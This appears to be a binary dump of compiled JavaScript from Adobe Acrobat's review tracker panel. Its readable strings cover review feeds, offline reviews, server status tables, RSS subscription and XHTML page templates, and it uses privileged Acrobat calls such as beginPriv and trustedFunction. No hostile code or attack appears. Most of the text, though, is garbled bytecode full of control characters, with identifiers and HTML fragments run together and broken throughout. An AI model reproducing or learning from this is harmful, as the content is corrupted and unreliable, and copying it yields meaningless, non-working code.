	selectiondocurl/`�`XT55WQ�5�����V�:Q�ѐ�ӈfeedURL�����E�		selectiondocext�aqbhT55WQ;�
�T55�V�����7�=�:Q�ѐ����>item	ExtensionCollabsetReviewFolderfeedURL�����T�
	selectiondocitemfeedextSef�T5WQT5WQV5WQ;�
�V5�V�����7�A5�:Q�̐̐̐��<itemfeed	ExtensionCollabsetReviewFolderURLcNameReaderReaderReader������lff�Cˆ*������6�	driverURL�f�g�T=DQT=DQT=CB�ϐϐ�������
4urn://ns.adobe.com/Acrobat/Tracker/UI/OfflineTracker7urn://ns.adobe.com/Acrobat/Tracker/UI/ReviewsSuperGroup3urn://ns.adobe.com/Acrobat/Tracker/UI/ReviewTracker������	selectionh)h�B���
������	selectionZh�h�B���
������	selection�h�h�C��������8�
	selection
reviewType�hsi�T55�����7WQ�A�����T5�V�:�ې�܈=item	Extension������	selection�i�i�C���������	selection�ibj��B�����T5�=�:��ވNitemReview�����
�	X	selectionaFeedURLbIsInitiatedbHasEBROrBRRitypeitem	extension
reviewType�j�m�
T>755�
��:WQV>7�����CBWQBWQV�>WQ�mTV75WQV=YTV75WQV5WQV�����7WQV=DQV=CWQ$V#?WQQ�VT����s�6�����VE
QV �:����А�������$��x�������ΐА����А̐ѐ�����@��͈)̘�٘�͈Ә�߈Ԉ5ɈfeedURLsplittypeitem	ExtensionEBRBBRlength#Z�������	selection�m�m�C��������M�	selectionurlgroup�m�n�T55WQT5WQV'=#�8�����V�V�:QCB�ѐ̐������א������
feedURLgroup	undefined������	selectiono9o�C��������M�	selectionurlgroupjoap�T55WQT5WQV'=#�9�����V�V�:QCB�ѐ̐������א������
feedURLgroup	undefined�������p�p	Cˆ �������	selectionsrcdst�p�p
Cˆ6������"�	:	selectionsrcdstitemfeedextfoldersi	newFolderj�p�sT5WQT5WQV5WQ;�
�V5�:WQT�>EQT�>5;�
�V5�V�����7�=�:QTK�mMWQ@WQVK*mMWQTV7VV7VV7WQ�L����NV@6;�
�V5�V�����7�V�:Q
�L���N�̐̐̐ݐ��������5��ː��5-ː����Ԑ��
����@Έitemfeed	ExtensionCollabgetReviewFoldersURLlengthsetReviewFolder���-�������3result�s�w.ZY=]=];5];5]=	]
�]�]\`Y=]=
];5];5]=]
�]�]\`\WQV����ʐʐϐϐʐʘ�=Ϙ�B�ʐʐϐϐʐʘ�LԘ�S��buttoncTypeRT:GoBackOnlinecNameAnnotsStringIDS_GO_ONLINE_LABEL_TEXTcDisplayNameIDS_GO_ONLINE_TIP_TEXTcTip!local://C_OnlineComments_Lg_N.pngcIconURL	onExecute	onEnabledRT:RemoveOfflineIDS_REVIEW_PANEL_REMOVE_BUTTONIDS_REVIEW_PANEL_REMOVE_TIP!local://C_RemoveFromList_Md_N.png�����1�
	selectiondocID�tou8T55�����7WQ;�
�V�:Q�ې�Ոitem	ExtensionCollabgoBackOnline������	selection�u�u=T5=��ψ typeitem������	selection�v2wH�A�����T5�=�:Q��ވ5itemOffline������	selectionMw�wLT5=��ψ typeitem�����1�A�result	arguments�w�V		�����QY�]�]�]Y=]ZY=]=]=	]
ZY=]=]
\`\]\`\]\]\�����Q;�
�:Q�����;�
�����5�:6Q�����;�
�����5�:6Q;�
�:Q������ė���ʘ�bʘ��ʘ��ʐ���ʐʐʐ���ʐ��ѐ�ѐ��ʈonSelectionChangedshowFeedViewshowItemViewPanelnameviewtypealign_centeralignfillalign_children	html_viewhtmlitem_idelementsdescriptionapp	beginPrivtrustedFunctionendPriv�����b�
dialog*x�xZT�
�:A�
�T�:Q=T�
�:DQT�
�:A�
�T�:Q����֐���шisItemSelectionshowItemViewisFeedSelectionisGroupSelectionshowFeedView������)�H�g�dialogLLINK	selectionfeed	extensionitemsstrsiitemdocID	argumentsy�b	�
����Q���!�%�&�5�������Q������Q������
�:�����Q������
�:�����Q�����5�����Q�����5�����Q;�
�YB]\�:QY�����5]Z\]	\�	����Q�����K*mM�
����Q������
����7�����Q�����5�%����7
߈����5�����7�����Q�	����5	�	����5	�
Y������=�=�����=
�����5=�����5�:]������=�=������:]�����5]\8Q�L����N�	����n�=�=�=�=�;�====�oQn;�= �RoQ;;�"�KmMn!�o!Q;!�#�7=$�;	K�mMn%�o%Q;	;%7n&�='�=(�=)=*=+��;���=,�=-�;�=.=/=0�=1�=)=*=+��;���=-=2=/=3�o&Q;!�4
�;&�:Q�L���4N
�L����Nn5;6�7
�;�8
�:�9
��=:�:�=;�:o5Q;<�=
�:Q;>�?
�;�8
�:�9
��=:�:�:Q;<�@
�:Q;A�B
�Y;5]C\�:Q_�v�Q;D�E
�=F��:Q;D�E
�5G�:Q��˘���
����
��������������
��b����ϐϐ��ސސؐؐ��ސ���ӐՐ���0�-ѐ�ݐ�=��␐�ᐕ�Ԑ�ߘ��ʐ����������՘�����͐�ې�0�Ԑ��
���7��Ԑ�̐����ʐ��͐�
ᐐ�@Θ���ʐ�ѐ����ѐ��x���А��ᐈ�{��getSelectiongetFeed	ExtensionItemsXMLsetSettingsignoreCommentsTitle
cListTitleaReviewListlengthacrobatInbox?container=&selectFeed=URL#Guid	cFileLinkReview?remove=cDeleteLink	cFileName	viewXHTML�<html xmlns="http://www.w3.org/1999/xhtml">
							<head>
								<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
								<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css"/>
							</head>
							<body>

							<div id="pg_joined">

								<h1></h1>�
									
								<div class="content_offline">
									<table id="listEntries" class="offlineList" cellspacing="0" cellpadding="0">
									</table>
								</div>
							</div>

							</body>
							</html>xhtml	Namespacehttp://www.w3.org/1999/xhtmlitableidlistEntriesjserverXHTML<tr>
												<td class="label"><ahrefclass="online-review-iconic"></a></td>

												<td class="trash">><img src="AdobeTracker/trash.gif" height="30" width="30"/></a>
											</tr>appendChildstmutilstreamFromStringtoXMLStringreplace&nbsp;utf-8app	beginPrivCollabsaveTrackerHTMLendPrivdialogloadhtmlconsoleprintlnEXCEPTION: stack������sDycyf;T7ˆʈAnnotsString������schemes}y�ygT=T�Έ:����eNBSP_PLACEHOLDERNBSP_PLACEHOLDERt����-�������J�N�dialog	selectiontitle	extensiononlinestrs	arguments'����	�����Q��<������
�: ������
�:�����Q;5�����Q������
������5�:�����Q�����5�����Q;�
�YB]	\�:Q����������7�����QY�����]
;5];5
];5]����������7];5]����������7]�����=
=]�����]\�����Q�����n�=�=�=�;
�==�== =!��;���="=#�==$=!�=%�=&��;���="=#�='�=(�;�=)=*�;�=+=,=-=.�=/�=0�=1�;�=2=3�=4�;�=5=6�=1�;�=2=3�=4�==$=&��;���="�;�=7=5=8=9=:=;�oQn<;=�>
�;�?
�:�
��=@�:�=A�:o<Q;B�C
�:Q;D�E
�;�?
�:�
��=@�:�:Q;B�F
�:Q;G�H
�Y;<]I\�:Q�˘��
����
�����������ސ�Ԑ��ؐ��ސ�ݐ���ΐϐϐϐؐϐؐ�
ِ٘��ʐ����敖ې���㐗�͐��ېې�ې�����͐��ʐ�ѐ����ѐ��isItemSelectiongetSelectionAnnotsStringIDS_REVIEW_PANEL_TITLEreplaceTitle	ExtensionXMLsetSettingsignoreCommentscTitleIDS_REVIEW_PANEL_ATTENTIONcAttentionPropertyIDS_REVIEW_PANEL_ONLINE_REVIEWcAttentionValueIDS_REVIEW_PANEL_TYPE
cTypeProperty
cTypeValueIDS_REVIEW_PANEL_REMOTE_URLcURLProperty	cURLValue
display: nonecVisibleWarning
cOnlineURL	viewXHTML�<html xmlns="http://www.w3.org/1999/xhtml">
							<head>
								<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
								<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css"/>
							</head>
							<body>
								"<h1 class="review-browser-iconic"></h1>


								<divstyle>

									a$color: #000000;text-decoration: nonehrefA<div style="padding: 5px; background-color: #FFE4E1;">
										<b></b> 
									</div>
									</a><br/>
								</div>	
								.<div class="content_offline_detail">
									<dl>
										<dt></dt>
										<dd></dd>

										</a>
									</dl>
								</div>
							</body>
							</html>stmutilstreamFromStringtoXMLString&nbsp;utf-8app	beginPrivCollabsaveTrackerHTMLendPrivdialogloadhtml{title}NBSP_PLACEHOLDERNBSP_PLACEHOLDER������	selection�,�#@���������m-	selectionresult
sendToMenufoldersiorigFolderNameY�%�(;�RWQVV�Y=];5]�]\8QVV�YC]\8QVV�Y=	];5
]ZY=];5]�]\`YC]\`\]
\8QVV�?75
WQ;�
�T>755�:WQVK�mMWQVV7WQ;5=DQ;5=0VVVV7�
�=�=�:8Qf;5=QVVVV7�
�=�=�:8QVVVV7�
�=�=�:8QVV�YV]VV7]�]\8Q�L���NV�ΐ��ː�ʐϐ͘�6�ِ��ː�ʐϐ���ʐϐϘ�U�Ԙ�[א䐐5�ː�ː��+���됐����搈搐��ː�Ȑ̐֘����ArraylengthRemovecNameAnnotsString)IDS_REVIEW_PANEL_REMOVE_MULTIPLE_SELECTEDcDisplayName	onExecute
bSeparatorMoveToFolderIDS_REVIEW_PANEL_MOVE_TO_FOLDERNoneIDS_REVIEW_PANEL_FOLDER_NONEoSubMenuCollabgetReviewFoldersfeedURLappplatformWINMACreplace&&&UNIX___������	selectiondoc$���0�6�����B�:Q��ш%�������@	selectiondoc	reviewIDsitypeitem	extensionreviewID���A;�RWQ>WQmmTV75WQV=BTV75WQV5WQV�����7WQVV�V8QV#?WQQ�VT������7�����T>755�V�=�:Q�ΐ��$ma{�����F�А����А̐ѐ�	И�E�,̘�N��E�Ә�R��HArraytypeitem	ExtensionlengthfeedURL{�������@	selectiondoc	reviewIDsitypeitem	extensionreviewID���p;�RWQ>WQmmTV75WQV=BTV75WQV5WQV�����7WQVV�V8QV#?WQQ�VT������7�����T>755�V�A5�:Q�ΐ��
$ma{�����u�А����А̐ѐ�И�t�+̘�}��t�Ә����PArraytypeitem	ExtensionlengthfeedURLcName{�������+	selectionresultH�Q��ZY=];5]�]\`YC]\`Y=];5]�]\`Y=	];5
]�]\`\WQV����ʐϐϘ���ː��ʐϐϘ���ʐϐԘ����
OpenReviewcNameAnnotsStringIDS_ATTACHLAUNCH_OPENcDisplayName	onExecute
bSeparatorGoBackOnlineIDS_GO_ONLINE_LABEL_TEXTRemoveIDS_REVIEW_PANEL_REMOVE_REVIEW����� �	selection�*��;�
�T55�:Q��߈#app	launchURLitemLink�����1�
	selectiondocdocIDљK��T55�����7WQ;�
�V�:Q�ې�Ոitem	ExtensionCollabgoBackOnline������	selectiondoc̚)���A�����T5�=�:Q��ވ5itemOffline������	selectionl����T55��Έ"feedDescription�����\�
	selectionresulttitle���	;5WQV�
��;5�:WQT55WQV�
��V�:�ΐ��ѐ�و)AnnotsStringIDS_REVIEW_PANEL_REVIEW_OF_TIPreplaceIDS_REVIEW_PANEL_OFFLINEitemTitle{type}{title}����������Cˆ*������6�	driverURL+�Y��T=DQT=DQT=CB�ϐϐ�������
4urn://ns.adobe.com/Acrobat/Tracker/UI/OfflineTracker7urn://ns.adobe.com/Acrobat/Tracker/UI/ReviewsSuperGroup3urn://ns.adobe.com/Acrobat/Tracker/UI/ReviewTracker������	selectionw����B���
������	selectionϞ���B���
������	selection�:��C���������	selectionW�����A�����T5�=�:��ވ<itemOffline������	selection���C���������	selection6�����B�����T5�=�:��ވOitemOffline������	selectionˠP���6�����B�:Q��ш%�������.b/�result	arguments����		�����QY;5];5];5];5]=	]
;5];5
];5];5];5];5];5]�]�]�]�]Y=]ZY=] =!]"=#]$ZY=%] =&]'\`\](\`\](\])\�����Q;*�+
�:Q�����;*�,
�����5�:6Q�����;*�,
�����5�:6Q;*�-
�:Q������ė����ϐϐϐϐ�ʐϐϐϐ�ϐϐϐϐ�ʘ�	ʘ��ʘ� /ʘ� C�ʐ���ʐʐʐ���ʐ� W�ѐ�ѐ��ʈAnnotsStringIDS_TRACKER_SERVER_STATUScLabelServerStatusIDS_TABLE_HEADER_SERVER_NAMEcTableHeaderServerName!IDS_TABLE_HEADER_NUM_ACTIVE_FILEScTableHeaderNumActiveFilesIDS_TABLE_HEADER_NUM_ERRORScTableHeaderNumErrorsNBSP_PLACEHOLDERnbsp_placeholderIDS_TRACKER_NONEcNone"IDS_TRACKER_SERVER_FILETYPE_REVIEWcFileTypeReview IDS_TRACKER_SERVER_FILETYPE_FORM
cFileTypeFormIDS_TABLE_HEADER_FILE_NAMEcTableHeaderFileNameIDS_TABLE_HEADER_STATUScTableHeaderStatusIDS_TABLE_HEADER_ERRORcTableHeaderErrorIDS_TABLE_HEADER_TYPEcTableHeaderTypeonSelectionChangedshowFeedViewshowItemView
handleLinkPanelnameviewtypealign_centeralignfillalign_children	html_viewhtmlitem_idelementsdescriptionapp	beginPrivtrustedFunctionendPriv�����b�
dialog�٥T�
�:A�
�T�:Q=T�
�:DQT�
�:A�
�T�:Q����֐���шisItemSelectionshowItemViewisFeedSelectionisGroupSelectionshowFeedView�������^��dialogLLINK	selectionfeed	extensionitemsaServersjoServerextworkflowsOnThisServercountOfWorkflowsInError
cServerStatusxhtml	viewXHTMLtableServersXHTMLi
evenOddRowindex	curServer	cRowColorserverXHTMLstm	arguments��-�	%	�����Q�������Q������Q������
�:�����Q������
�:�����Q�����5�����Q�����5�����Q;�
�YB]\�:QZ\�	����Q�����KbmM�
����Q������
����7�����Q�����5�����Q������,����7�
����Q������-����7�����Q=�����Q�����>=�����Q�	�����	�����	Y������=
�=�����=�����5
=�����5�:]�����5]�����]�����]�
�����	]\8Q�L����N;�=�R�����Q�=�=�=�A5�==�=�=�= �=!�A5�="="=#�=$�=%�=&='=(��;)���=*=+�=,�=-�A5.�=/=0=+�=1�A52�=0=+�=1�=-�A53�=/=0=+�=1�=-�A54�=/=0=5=6=7=8=9=:=;������Q@�����Q;�=�R�����Q�����������<�KDmM�����Q������=�7=>����������Q
�L����NB�����Q>�����Q�m�	���������7�����Q����� �����Q�����;?
;@�����Q�=&='=(����������=*=A�=B�=-�=&=C=D�������5���=*="=/=E=A�=B�=&=F=G�������5���=*�=H������5�="=I=E=A�=B�=-������5�=/=E=A�=B�=-������5�=/=E=J������Q������K
������:Q�����#?�����QQ�������	�����	���;L�M
������N
�:�O
��=P�:�=Q�:�����Q;R�S
�:Q;T�U
������N
�:�O
��=P�:�:Q;R�V
�:Q������W
�Y�����]X\�:Q��v�Q9Y�Y�=Z��:Q9Y�Y�5[�:Q;\�]
�=Z��:Q;\�]
�5[�:Q��ė���ϐϐ�ސސؐؐ��ސ�ϐ�0�eѐ�ݐؐ�ݐ�ݐ�ϐ����ϐ��א��ԐӐΐΐߘ�0ڐ���6����Ȑ͐����㐐�����ܐ�㐗������ѐ��ː�ڐ�0Gѐ�Ɉ
����Ӑ@Θ�aː��
� ��Ȁ������d�ݐ���
Ԑ�
ސ����Ґ����ѐ��ߘ�c�2ؘ�s��c�ߘ�v�͐�ѐ����ѐ��x��А��ߐ�ސ�ᐈ�{��getSelectiongetFeed	ExtensionItemsXMLsetSettingsignoreCommentsstatus-ok-iconicstatus-issue-iconiclengthacrobatInbox?container=&selectFeed=URL#GuidcServerLinkTitlecServerName
cServerStatus
nNumErrorsnNumActiveFiles	Namespacehttp://www.w3.org/1999/xhtml�<html xmlns="http://www.w3.org/1999/xhtml">
								<head>
									<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
									<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css"/>
								</head>
							
								<body>
									$<div class="bread_crumb">
										cLabelServerStatus &gt;
									</div>
									
									5<div id="pg_serverstatus_summary">
							
										&<div class="summary_page">
											#<span class="servers-super-iconic"> <span style="font-weight:bold;"></span>.
											<br/>
											<br/>
											D<div class="borderedDivSummaryPage" id="borderedDivID">
												]<table id="tableServers" class="borderedTable" cellpadding="0" cellspacing="0">
													<trbgcolorcTableHeaderColor>
														<th width="60px;"><center>cTableHeaderStatus	</center></th><th>cTableHeaderServerNamecTableHeaderNumActiveFilescTableHeaderNumErrors
													</tr>
												</table>
										    </div>
										</div>
									</div>
								
								</body>
							</html>tableidtableServerscTableOddRowColorcTableEvenRowColor

									<td>spanclass</td>ahref<span class="blueLink"></a>
								</tr>appendChildutilstreamFromStringtoXMLStringreplace&nbsp;utf-8app	beginPrivCollabsaveTrackerHTMLendPrivloadhtmlmyReviewTrackerDebugAlertEXCEPTION: stackconsoleprintln������s/�N�
;T7ˆʈAnnotsString������schemesi���T=Tˆ'Έ:����eNBSP_PLACEHOLDERNBSP_PLACEHOLDERK��G�e������	�d���dialogLLINK	selection	extensioncServerName
aWorkflowsworkflowextcWorkflowIDpropsbWorkflowHasErrorcTopArrowXHTMLxhtml	viewXHTMLbodyitableWorkflowsXHTML
evenOddRowindexcurWorkflow	cRowColor
workflowXHTMLstm	argumentsL�.��#	�����Q�������Q������Q������
�:�����Q�����5�����Q�����5�����QZ\�����Q������,����7K�mM�	����Q������,����7�	����7�
����Q�
�����&����7�����QY�
�����'����7]�
�����*����7]=]�
�����(����7]�
�����)����7]\�����Q�����5=	�����A5
6Q3�����5=�����A56Q�
�����+����7�
����Q�
����=3�����=6
Q�����A56Q�����=6
Q�����5=	U;�
�:Q�����;�
������:6Q;�
�:Qi�����5=P;�
�:Q�����;�
������:6Q;�
�:Q�����5;�����A56Q����������������8Q�L���BN;�
�YB]\�:Q@�����Q�=�== =!����������="�=#�A5$�=%=&='�������=(������Q;)�=*�R�����Q�=+�=,�=-�=.�=/�=0�������=%=%=1=2=3�=4�=5�==6=7��;8���="=9�=:�=;�A5<�===>=9�=?�A5@�=>=9�=?�A5A�=>=9�=?�A5B�=>=C=D=E=F=G������Q@�����Q;)�=*�R�����Q�����������H�KDmM�����Q������I�7=H����������Q
�L����N������J
������:Q@�����Q;)�=*�R�����Q�����������K�KDmM�����Q������I�7=L����������Q
�L����NB�����Q>�����Q�m����������7�����Q����� �����Q�����;M
;N�����Q�==6=7����������="=3�=O�=;�==P=Q�������5
���="=%===R=3�=O�== =!�������5���=S�="������5�=&=R=3�=O������5�=R=3�=O������5�=R=T������Q������U
������:Q�����#?�����QQ���������������,;V�W
������X
�:�Y
��=Z�:�=[�:�����Q;�
�:Q;�\
������X
�:�Y
��=Z�:�:Q;�
�:Q������]
�Y�����]^\�:Q��v�Q;_�`
�=a��:Q;_�`
�5b�:Q9c�c�=a��:Q9c�c�5b�:Q��ė���ϐϐ��ސؐ�ؐ�ϐ��0��ѐ�琐ݐ���ؐؐʐؐ㐐����ڐ���Ր�ݐ��.���Ԑ�ڐ����Ԑ�P���	ѐ�	鐈	֐�����	ѐ�	鐈	ј�����Ր��됐��ސ�ː������Րѐ�ڐ���֕����搐��͐����ܐܐ֐����ѐ��ː�ڐ�0Gѐ�Ɉ
����Ӑ@Θ���ߐ��ː�ڐ�0Gѐ�Ɉ
����Ӑ@Θ� ː��
� �����ٖ���� �ݐ���
Ԑ�
ސ����Ґ�ܐ�ސѐ��ߘ� 
�4ؘ� �� 
�ߘ�  �͐�ѐ����ѐ��x��А��ᐈ�ߐ�ހ{��getSelection	ExtensionTitle
cWorkflowName
cWorkflowTypecWorkflowTypeDisplaycWorkflowOpenLinkcWorkflowDeleteLinkReviewcFileTypeReviewForm
cFileTypeFormcWorkflowStatusstatus-ok-iconiccWorkflowErrorcNonestatus-issue-iconicapp	beginPrivCollabgetReviewErrorendPrivFormWorkflowgetFormWorkflowError	undefinedlengthXMLsetSettingsignoreComments"<div class="bread_crumb">
								<ahref><span class="blueLink">cLabelServerStatus</span></a> > 
							</div>	Namespacehttp://www.w3.org/1999/xhtml�<html xmlns="http://www.w3.org/1999/xhtml">
								<head>
									<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
									<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css"/>
								</head>
							
								<body id="body">
									<div>
										&<div class="summary_page">
											#<span class="servers-super-iconic"> <span style="font-weight:bold;">3
											<br/>
											<br/>
										</div>
									</div>

									.<div class="borderedDivDetailPage">
										^<table id="tableWorkflows" class="borderedTable" cellpadding="15" cellspacing="0">
											trbgcolorcTableHeaderColor

												<th width="60px;"><center>cTableHeaderStatus	</center></th><th>cTableHeaderFileNamecTableHeaderTypecTableHeaderError
											</tr>
										</table>
								    </div>								
								</body>
							</html>bodyidprependChildtabletableWorkflowscTableOddRowColorcTableEvenRowColor<td>spanclass</td>style="color:#0000FF;"
								</tr>appendChildutilstreamFromStringtoXMLStringreplace&nbsp;utf-8saveTrackerHTMLloadhtmlconsoleprintlnEXCEPTION: stackmyReviewTrackerDebugAlert������s�����;T7ˆʈAnnotsString������schemes����T=T�	Έ:����eNBSP_PLACEHOLDERNBSP_PLACEHOLDER5	�� GuG���������"dialogurlparamsiaK���/ 	T�
�=�:>�T�
�=�:?7�
�=�:WQVKXmMWQVV7�
�=�:WQV>7x=y
z!;�
�V?7�:Q�L����N�����5[ː�ܐe,��mʐ�	אPΐ�indexOfacrobat:internal?split?&=returnToInitiatorCollabP[�������0
	selectionresult5��_ ;�RWQVV�Y=];5]�]�]\8QVV�Y=	];5
]�]�]\8QV�ΐ��ː�ʐϐʘ� l͘� r�ː�ʐϐʘ� {͘� ���ArraylengthExpandcNameAnnotsStringIDS_PANEL_EXPANDcDisplayName	onExecute	onEnabledCollapseIDS_PANEL_COLLAPSE������	selectiondoc��(�g �:�����:Q��ψ������	selectiondocH���l �;�����T55�:��݈5feedURL������	selectiondoc3�s�v �<�����:Q��ψ������	selectiondoc����{ �=�����T55�:��݈7feedURL������	selection8�T�� @ˆ,�������	selectiono���� T55��Έ"feedDescription�������1
	selectionitem	extensionbAllWorkflowsAreOkayworkflowextbWorkflowHasError���� 
T5WQV5WQCWQV�,����7KImMWQV�,����7V7WQV�+����7WQV=BWQ
�L����NV;5;5�̐�̐����0Lː�Ր�ѐ������@Θ� ���А��ˈ<item	ExtensionAnnotsString"IDS_TRACKER_ALL_WORKFLOWS_ARE_OKAY'IDS_TRACKER_SOME_WORKFLOWS_ARE_IN_ERROR1L������	selection4�Q�� Bˆ'�
������	selectionm���� Bˆ'�
������>resultq�M�� Y;5]9��;5�:];5]�]�]	Y=
]ZY=]
=]=]ZY=]
=]\`\]\`\]\]\WQ;�
�:QV;�
�V5	�:6	Q;�
�:QV����ϐސϐ�ʘ� �ʘ� �ʐ���ʐʐʐ���ʐ똀 ��ѐ�␈ѐ���AnnotsStringIDS_RSS_EMPTY_VIEW_TITLEcWhatIsTitleCBSetProductVariantIDS_RSS_EMPTY_VIEW_BODYcWhatIsTextIDS_RSS_SUBSCRIBE_TO_RSS_FEEDcSubscribeToRSSFeedTextonSelectionChanged
showEmptyViewPanelnameviewtypealign_centeralignfillalign_children	html_viewhtmlitem_idelementsdescriptionapp	beginPrivtrustedFunctionendPriv������dialog����� A�
�T�:Q��ш
showEmptyView�������/N%dialogLINKcSubscribeToRSSFeedLink	viewXHTMLstm��1�� ��WQ=WQ;�
�YB]\�:Q�=�=�=�=�=�A5	�=
=�=�A5
�===�=�===��V���=�=�=�A5�======�WQ;�
�V� 
�:�!
��="�:�=#�:WQ;$�%
�:Q;&�'
�V� 
�:�!
��="�:�:Q;$�(
�:QT�)
�YV]*\�:QM�vWQ;+�,
�=-V�:Q;+�,
�V5.�:Q����ɐ�ɐ��ސ���� ˕���ܐ�Ȑ�͐�������ː����ѐ����ѐ��x��ʐ��ې�ڀ{��&acrobat:Inbox?subscribeToRSSFeed=dummyXMLsetSettingsignoreComments�<html xmlns="http://www.w3.org/1999/xhtml">
							<head>
								<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
								<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css"/>
							</head>
							<body>
								$<div class="summary_page">
									<div>
										<h3>cWhatIsTitle</h3>
										<p>
											cWhatIsText
										</p>
									</div>
									
									 <div class="buttons">
										<ahrefclass="rss-iconic"><span class="blueLink">cSubscribeToRSSFeedText</span></a>
								</div>
							</body>
							</html>utilstreamFromStringtoXMLStringreplace&nbsp;utf-8app	beginPrivCollabsaveTrackerHTMLendPrivloadhtmlconsoleprintlnEXCEPTION: stack������schemes3�[�� T=Tˆ'Έ:����eNBSP_PLACEHOLDERNBSP_PLACEHOLDER�������	selectionq���!@ˆ,�������	selection����!@ˆ,�������	selection���	!Bˆ'�
������	selection!�>�
!Bˆ'�
������@result��M�!Y;5];5];5];5]�]	�]
Y=]ZY=
]=]=]ZY=]=]\`\]\`\]\]\WQ;�
�:QV;�
�V5
�:6
Q;�
�:QV����ϐϐϐϐ�ʘ�!"ʘ�!_�ʐ���ʐʐʐ���ʐ똀!s�ѐ�␈ѐ���AnnotsStringIDS_REVIEW_PANEL_MY_REVIEWScIveSent$IDS_REVIEW_PANEL_PARTICIPANT_REVIEWScIveReceivedIDS_REVIEW_PANEL_OFFLINE_DOCScOffline%IDS_TRACKER_REVIEWS_SUPER_GROUP_TITLEcReviewsSuperGrouponSelectionChanged
showEmptyViewPanelnameviewtypealign_centeralignfillalign_children	html_viewhtmlitem_idelementsdescriptionapp	beginPrivtrustedFunctionendPriv������dialog	�A�!A�
�T�:Q��ш
showEmptyView�������9t9dialogLINKhaveOfflineReviewsisReadercVisibleOfflineReviewscVisibleMyReviews	viewXHTMLstme�1�"!��WQ;�
�YB]\�:Q;�
�:Q;5WQ;�
�:Q;5=	WQV=

=WQV=
=
WQ�=�=
�=�A5�==�=�=�=�A5�===�=�===��V���==�===����������=�=�A5 �==!="=#�=$�===���	�������=�=�A5%�==!="=#�===��V���==�===���
�������=�=�A5&�==!="='=(=)=*�WQ;+�,
�V�-
�:�.
��=/�:�=0�:WQ;�
�:Q;�1
�V�-
�:�.
��=/�:�:Q;�
�:QT�2
�YV]3\�:Q~�vWQ;4�5
�=6V�:Q;4�5
�V57�:Q98�8�=6V�:Q98�8�V57�:Q����ɐ��ސ��ѐΐ�ѐԐ��
ؐ��
ؐ����!:����Ȑ͐��㐐������֐���ː����ѐ����ѐ��x��ʐ��ې�ڐ�ِ�؀{��XMLsetSettingsignoreCommentsapp	beginPrivCollabhaveOfflineReviewsendPriv
viewerTypeReaderdisplay:none�<html xmlns="http://www.w3.org/1999/xhtml">
								<head>
									<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
									<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css"/>
								</head>
							
								<body>
									$<div class="bread_crumb">
										cReviewsSuperGroup &gt;
									</div>
									
									)<div class="super_group_page">
										#<span class="reviews-super-iconic"> <span style="font-weight:bold;"></span>+
										<br/>
										<br/>
										)<p style="line-height:25px;">
											<spanstyle>&#8226; ahref<span class="blueLink">cIveSent</a>
 <br/></span>
											<span>&#8226; cIveReceivedcOffline
										</p>
									</div>
								</body>
							</html>utilstreamFromStringtoXMLStringreplace&nbsp;utf-8saveTrackerHTMLloadhtmlconsoleprintlnEXCEPTION: stackmyReviewTrackerDebugAlert������schemes����&!T=Tˆ'Έ:����eNBSP_PLACEHOLDERNBSP_PLACEHOLDER�������0
	selectionresult��d�z!;�RWQVV�Y=];5]�]�]\8QVV�Y=	];5
]�]�]\8QV�ΐ��ː�ʐϐʘ�!�͘�!��ː�ʐϐʘ�!�͘�!���ArraylengthExpandcNameAnnotsStringIDS_PANEL_EXPANDcDisplayName	onExecute	onEnabledCollapseIDS_PANEL_COLLAPSE������	selectiondoc;�y��!�:�����:Q��ψ������	selectiondoc�����!�;�����T55�:��݈5feedURL������	selectiondoc�����!�<�����:Q��ψ������	selectiondoc��@��!�=�����T55�:��݈7feedURL������	selection�����!Bˆ'�
������	selection�����!Bˆ'�
�������V�b�result	arguments5�ii�!		�����QY�];5];5];5];5]	;5
];5]
;5];5];5];5];5];5];5]9��=�:]9��=�:] 9��=!�:]";5#]$;5%]&;5'](=)]*;5+],;5-].;5/]0;51]2@]3@]4?]5?]6@]7@]8@]9@]:Z\];Z\]<Z\]=�]>�]?�]@�]A�]B�]C�]DY=E]FZY=G]H=I]J=K]LZY=M]H=N]O\`\]P\`\]P\]Q\�����Q;R�S
�:Q�����;R�T
�����5�:6Q�����;R�T
�����5D�:6DQ�����;R�T
�����5C�:6CQ�����;R�T
�����5@�:6@Q�����;R�T
�����5A�:6AQ�����;R�T
�����5B�:6BQ;R�U
�:Q������ė���ʘ�!�ϐ�ϐϐ�ϐϐ�ϐ�ϐϐϐϐϐϐϐ�ِِِ�ϐϐϐʐ�ϐϐ�ϐϐ��������������ʐʐʐ�ʘ�!�ʘ�!�ʘ�"�ʘ�#Eʘ�#�ʘ�$sʘ�$ĕʐ���ʐʐʐ���ʐ�$؈ѐ�ѐ��ʈonSelectionChangedAnnotsString IDS_TRACKER_LATEST_UPDATES_TITLEcLatestUpdatesIDS_TRACKER_REVIEWS_UPDATEScReviewsUpdatesIDS_TRACKER_NO_REVIEWS_UPDATEScNoReviewsUpdatesIDS_TRACKER_FORMS_UPDATES
cFormsUpdatesIDS_TRACKER_NO_FORMS_UPDATEScNoFormsUpdatesIDS_TRACKER_SERVER_STATUS
